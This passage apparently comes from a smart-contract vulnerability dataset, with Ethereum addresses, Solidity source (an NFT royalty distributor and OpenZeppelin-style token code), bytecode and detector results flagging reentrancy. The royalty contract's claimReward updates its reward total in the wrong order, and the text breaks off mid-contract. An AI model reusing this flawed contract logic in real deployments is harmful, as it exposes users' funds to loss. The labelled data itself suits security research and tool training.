060008060008060006124738a600a54600b5461265d565b92509250925060006124836121fe565b905060008060006124968e8787876126f3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c8e565b905092915050565b60008082846125179190613122565b90508381101561255c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255390612eec565b60405180910390fd5b8091505092915050565b60006125706121fe565b905060006125878284611cf290919063ffffffff16565b90506125db81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612638826008546124be90919063ffffffff16565b6008819055506126538160095461250890919063ffffffff16565b6009819055505050565b600080600080612689606461267b888a611cf290919063ffffffff16565b611d6d90919063ffffffff16565b905060006126b360646126a5888b611cf290919063ffffffff16565b611d6d90919063ffffffff16565b905060006126dc826126ce858c6124be90919063ffffffff16565b6124be90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061270c8589611cf290919063ffffffff16565b905060006127238689611cf290919063ffffffff16565b9050600061273a8789611cf290919063ffffffff16565b905060006127638261275585876124be90919063ffffffff16565b6124be90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278f61278a846130a1565b61307c565b905080838252602082019050828560208602820111156127ae57600080fd5b60005b858110156127de57816127c488826127e8565b8452602084019350602083019250506001810190506127b1565b5050509392505050565b6000813590506127f7816136df565b92915050565b60008151905061280c816136df565b92915050565b600082601f83011261282357600080fd5b813561283384826020860161277c565b91505092915050565b60008135905061284b816136f6565b92915050565b600081519050612860816136f6565b92915050565b6000813590506128758161370d565b92915050565b60008151905061288a8161370d565b92915050565b6000602082840312156128a257600080fd5b60006128b0848285016127e8565b91505092915050565b6000602082840312156128cb57600080fd5b60006128d9848285016127fd565b91505092915050565b600080604083850312156128f557600080fd5b6000612903858286016127e8565b9250506020612914858286016127e8565b9150509250929050565b60008060006060848603121561293357600080fd5b6000612941868287016127e8565b9350506020612952868287016127e8565b925050604061296386828701612866565b9150509250925092565b6000806040838503121561298057600080fd5b600061298e858286016127e8565b925050602061299f85828601612866565b9150509250929050565b6000602082840312156129bb57600080fd5b600082013567ffffffffffffffff8111156129d557600080fd5b6129e184828501612812565b91505092915050565b6000602082840312156129fc57600080fd5b6000612a0a8482850161283c565b91505092915050565b600060208284031215612a2557600080fd5b6000612a3384828501612851565b91505092915050565b600060208284031215612a4e57600080fd5b6000612a5c84828501612866565b91505092915050565b600080600060608486031215612a7a57600080fd5b6000612a888682870161287b565b9350506020612a998682870161287b565b9250506040612aaa8682870161287b565b9150509250925092565b6000612ac08383612acc565b60208301905092915050565b612ad581613237565b82525050565b612ae481613237565b82525050565b6000612af5826130dd565b612aff8185613100565b9350612b0a836130cd565b8060005b83811015612b3b578151612b228882612ab4565b9750612b2d836130f3565b925050600181019050612b0e565b5085935050505092915050565b612b5181613249565b82525050565b612b608161328c565b82525050565b6000612b71826130e8565b612b7b8185613111565b9350612b8b81856020860161329e565b612b94816133d8565b840191505092915050565b6000612bac602383613111565b9150612bb7826133e9565b604082019050919050565b6000612bcf601983613111565b9150612bda82613438565b602082019050919050565b6000612bf2602a83613111565b9150612bfd82613461565b604082019050919050565b6000612c15602283613111565b9150612c20826134b0565b604082019050919050565b6000612c38601b83613111565b9150612c43826134ff565b602082019050919050565b6000612c5b602183613111565b9150612c6682613528565b604082019050919050565b6000612c7e602083613111565b9150612c8982613577565b602082019050919050565b6000612ca1602983613111565b9150612cac826135a0565b604082019050919050565b6000612cc4602583613111565b9150612ccf826135ef565b604082019050919050565b6000612ce7601a83613111565b9150612cf28261363e565b602082019050919050565b6000612d0a602483613111565b9150612d1582613667565b604082019050919050565b6000612d2d601783613111565b9150612d38826136b6565b602082019050919050565b612d4c81613275565b82525050565b612d5b8161327f565b82525050565b6000602082019050612d766000830184612adb565b92915050565b6000604082019050612d916000830185612adb565b612d9e6020830184612adb565b9392505050565b6000604082019050612dba6000830185612adb565b612dc76020830184612d43565b9392505050565b600060c082019050612de36000830189612adb565b612df06020830188612d43565b612dfd6040830187612b57565b612e0a6060830186612b57565b612e176080830185612adb565b612e2460a0830184612d43565b979650505050505050565b6000602082019050612e446000830184612b48565b92915050565b60006020820190508181036000830152612e648184612b66565b905092915050565b60006020820190508181036000830152612e8581612b9f565b9050919050565b60006020820190508181036000830152612ea581612bc2565b9050919050565b60006020820190508181036000830152612ec581612be5565b9050919050565b60006020820190508181036000830152612ee581612c08565b9050919050565b60006020820190508181036000830152612f0581612c2b565b9050919050565b60006020820190508181036000830152612f2581612c4e565b9050919050565b60006020820190508181036000830152612f4581612c71565b9050919050565b60006020820190508181036000830152612f6581612c94565b9050919050565b60006020820190508181036000830152612f8581612cb7565b9050919050565b60006020820190508181036000830152612fa581612cda565b9050919050565b60006020820190508181036000830152612fc581612cfd565b9050919050565b60006020820190508181036000830152612fe581612d20565b9050919050565b60006020820190506130016000830184612d43565b92915050565b600060a08201905061301c6000830188612d43565b6130296020830187612b57565b818103604083015261303b8186612aea565b905061304a6060830185612adb565b6130576080830184612d43565b9695505050505050565b60006020820190506130766000830184612d52565b92915050565b6000613086613097565b905061309282826132d1565b919050565b6000604051905090565b600067ffffffffffffffff8211156130bc576130bb6133a9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061312d82613275565b915061313883613275565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561316d5761316c61334b565b5b828201905092915050565b600061318382613275565b915061318e83613275565b92508261319e5761319d61337a565b5b828204905092915050565b60006131b482613275565b91506131bf83613275565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131f8576131f761334b565b5b828202905092915050565b600061320e82613275565b915061321983613275565b92508282101561322c5761322b61334b565b5b828203905092915050565b600061324282613255565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329782613275565b9050919050565b60005b838110156132bc5780820151818401526020810190506132a1565b838111156132cb576000848401525b50505050565b6132da826133d8565b810181811067ffffffffffffffff821117156132f9576132f86133a9565b5b80604052505050565b600061330d82613275565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133405761333f61334b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136e881613237565b81146136f357600080fd5b50565b6136ff81613249565b811461370a57600080fd5b50565b61371681613275565b811461372157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bd21ffb09302c91aba1ccace0d0eb787de35349597c4be76a58e38c80a6bd81c64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,627
0x368365703cd33195a87894ccf331cac132325fb1
/** *Submitted for verification at Etherscan.io on 2022-01-24 */ // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface ERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); function ownerOf(uint256 tokenId) external view returns (address owner); } contract SSOFRoyaltiesDistribution is Ownable { using SafeMath for uint256; bool public isstartClaim = true; mapping (address => uint256) public userRewards; uint256 public DistributionPercent = 50; uint256 public totalUserReward; uint256 private sessionReward; uint256 public ownerReward; ERC721 ssofNFT = ERC721(0xb121db250735C639421592e428A0aeF420D40A73); receive() external payable { sessionReward = sessionReward.add(msg.value); } function distributeRoyalties() public onlyOwner { require(sessionReward > 0, "don't have any amount for reward"); uint halfAmount = sessionReward.mul(DistributionPercent).div(100); ownerReward = ownerReward.add(halfAmount); uint newAmount = halfAmount.div(ssofNFT.totalSupply()); for(uint i = 0; i < ssofNFT.totalSupply(); i++){ if(ssofNFT.tokenByIndex(i) > 0){ address owner = ssofNFT.ownerOf(ssofNFT.tokenByIndex(i)); userRewards[owner] = userRewards[owner].add(newAmount); totalUserReward = totalUserReward.add(newAmount); } } sessionReward = 0; } function claimReward() public { require(isstartClaim, "Claim is not started"); require(userRewards[msg.sender] > 0, "don't have any reward amount"); payable(msg.sender).transfer(userRewards[msg.sender]); userRewards[msg.sender] = 0; totalUserReward = totalUserReward.sub(userRewards[msg.sender]); } function withdraw() public onlyOwner { require(ownerReward > 0,"don't have any reward amount"); payable(msg.sender).transfer(ownerReward); ownerReward = 0; } function setDistributionPercent(uint256 Percent) public onlyOwner { DistributionPercent = Percent; } function stopClaim() public onlyOwner { isstartClaim = false; } function startClaim() public onlyOwner { isstartClaim = true; } }
0x6080604052600436106100e15760003560e01c8063a1091da21161007f578063ea27202511610059578063ea27202514610238578063ecbfc0771461024e578063f2fde38b14610263578063ff6c9bc91461028357600080fd5b8063a1091da2146101ed578063b88a802f14610203578063e0f758781461021857600080fd5b80633001a90c116100bb5780633001a90c1461016a5780633ccfd60b1461019b578063715018a6146101b05780638da5cb5b146101c557600080fd5b80630660f1e8146100fd5780630c0116ba1461013d5780632fb8a96e1461015357600080fd5b366100f8576004546100f39034610298565b600455005b600080fd5b34801561010957600080fd5b5061012a610118366004610a16565b60016020526000908152604090205481565b6040519081526020015b60405180910390f35b34801561014957600080fd5b5061012a60055481565b34801561015f57600080fd5b506101686102ab565b005b34801561017657600080fd5b5060005461018b90600160a01b900460ff1681565b6040519015158152602001610134565b3480156101a757600080fd5b5061016861061c565b3480156101bc57600080fd5b506101686106ce565b3480156101d157600080fd5b506000546040516001600160a01b039091168152602001610134565b3480156101f957600080fd5b5061012a60035481565b34801561020f57600080fd5b50610168610742565b34801561022457600080fd5b50610168610233366004610a33565b610849565b34801561024457600080fd5b5061012a60025481565b34801561025a57600080fd5b50610168610878565b34801561026f57600080fd5b5061016861027e366004610a16565b6108b7565b34801561028f57600080fd5b506101686109a1565b60006102a48284610a62565b9392505050565b6000546001600160a01b031633146102de5760405162461bcd60e51b81526004016102d590610a7a565b60405180910390fd5b6000600454116103305760405162461bcd60e51b815260206004820181905260248201527f646f6e2774206861766520616e7920616d6f756e7420666f722072657761726460448201526064016102d5565b6000610354606461034e6002546004546109da90919063ffffffff16565b906109e6565b6005549091506103649082610298565b600555600654604080516318160ddd60e01b815290516000926103e3926001600160a01b03909116916318160ddd916004808201926020929091908290030181865afa1580156103b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103dc9190610aaf565b83906109e6565b905060005b600660009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561043b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061045f9190610aaf565b81101561061257600654604051634f6ccce760e01b8152600481018390526000916001600160a01b031690634f6ccce790602401602060405180830381865afa1580156104b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104d49190610aaf565b111561060057600654604051634f6ccce760e01b8152600481018390526000916001600160a01b031690636352211e908290634f6ccce790602401602060405180830381865afa15801561052c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105509190610aaf565b6040518263ffffffff1660e01b815260040161056e91815260200190565b602060405180830381865afa15801561058b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105af9190610ac8565b6001600160a01b0381166000908152600160205260409020549091506105d59084610298565b6001600160a01b0382166000908152600160205260409020556003546105fb9084610298565b600355505b8061060a81610ae5565b9150506103e8565b5050600060045550565b6000546001600160a01b031633146106465760405162461bcd60e51b81526004016102d590610a7a565b6000600554116106985760405162461bcd60e51b815260206004820152601c60248201527f646f6e2774206861766520616e792072657761726420616d6f756e740000000060448201526064016102d5565b600554604051339180156108fc02916000818181858888f193505050501580156106c6573d6000803e3d6000fd5b506000600555565b6000546001600160a01b031633146106f85760405162461bcd60e51b81526004016102d590610a7a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600054600160a01b900460ff166107925760405162461bcd60e51b815260206004820152601460248201527310db185a5b481a5cc81b9bdd081cdd185c9d195960621b60448201526064016102d5565b336000908152600160205260409020546107ee5760405162461bcd60e51b815260206004820152601c60248201527f646f6e2774206861766520616e792072657761726420616d6f756e740000000060448201526064016102d5565b3360008181526001602052604080822054905181156108fc0292818181858888f19350505050158015610825573d6000803e3d6000fd5b50336000908152600160205260408120819055600354610844916109f2565b600355565b6000546001600160a01b031633146108735760405162461bcd60e51b81526004016102d590610a7a565b600255565b6000546001600160a01b031633146108a25760405162461bcd60e51b81526004016102d590610a7a565b6000805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146108e15760405162461bcd60e51b81526004016102d590610a7a565b6001600160a01b0381166109465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102d5565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109cb5760405162461bcd60e51b81526004016102d590610a7a565b6000805460ff60a01b19169055565b60006102a48284610b00565b60006102a48284610b1f565b60006102a48284610b41565b6001600160a01b0381168114610a1357600080fd5b50565b600060208284031215610a2857600080fd5b81356102a4816109fe565b600060208284031215610a4557600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610a7557610a75610a4c565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215610ac157600080fd5b5051919050565b600060208284031215610ada57600080fd5b81516102a4816109fe565b6000600019821415610af957610af9610a4c565b5060010190565b6000816000190483118215151615610b1a57610b1a610a4c565b500290565b600082610b3c57634e487b7160e01b600052601260045260246000fd5b500490565b600082821015610b5357610b53610a4c565b50039056fea2646970667358221220c2024255b3bb36c2f1fb879113ae90374133e7ceb2cab7b83ea430a07a70309564736f6c634300080b0033
{"success": true, "error": null, "results": {}}
5,628
0xee24f2c601a9f8a406fdb8169ba4580b3c411d74
pragma solidity ^0.4.21; // File: zeppelin-solidity/contracts/AddressUtils.sol /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param addr address to check * @return whether the target address is a contract */ function isContract(address addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. assembly { size := extcodesize(addr) } // solium-disable-line security/no-inline-assembly return size > 0; } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: src/Token/FallBackToken.sol contract Receiver { function tokenFallback(address from, uint value) public; } contract FallBackToken is StandardToken { function transfer(address _to, uint256 _value) public returns (bool) { require(super.transfer(_to, _value)); if (AddressUtils.isContract(_to)) { Receiver(_to).tokenFallback(msg.sender, _value); } return true; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: src/Token/Freezable.sol /** * @title Freezable */ contract Freezable is Ownable { event FrozenFunds(address target, bool freeze); mapping(address => bool) freezeHolders; function isFreezeAccount(address _holderAddress) public view returns (bool) { return freezeHolders[_holderAddress]; } /** * @dev Modifier to make a function callable only when the token holder is not frozen. */ modifier whenNotFrozen(address _holderAddress) { require(!freezeHolders[_holderAddress]); _; } /** * @dev Modifier to make a function callable only when the token holder is frozen. */ modifier whenFrozen(address _holderAddress) { require(freezeHolders[_holderAddress]); _; } /** * @dev called by the owner to freeze token holder */ function freezeAccount(address target, bool freeze) onlyOwner public { require(target != address(0)); freezeHolders[target] = freeze; emit FrozenFunds(target, freeze); } } // File: src/Token/FreezableToken.sol contract FreezableToken is StandardToken, Freezable { function transfer(address _to, uint256 _value) public whenNotFrozen(msg.sender) 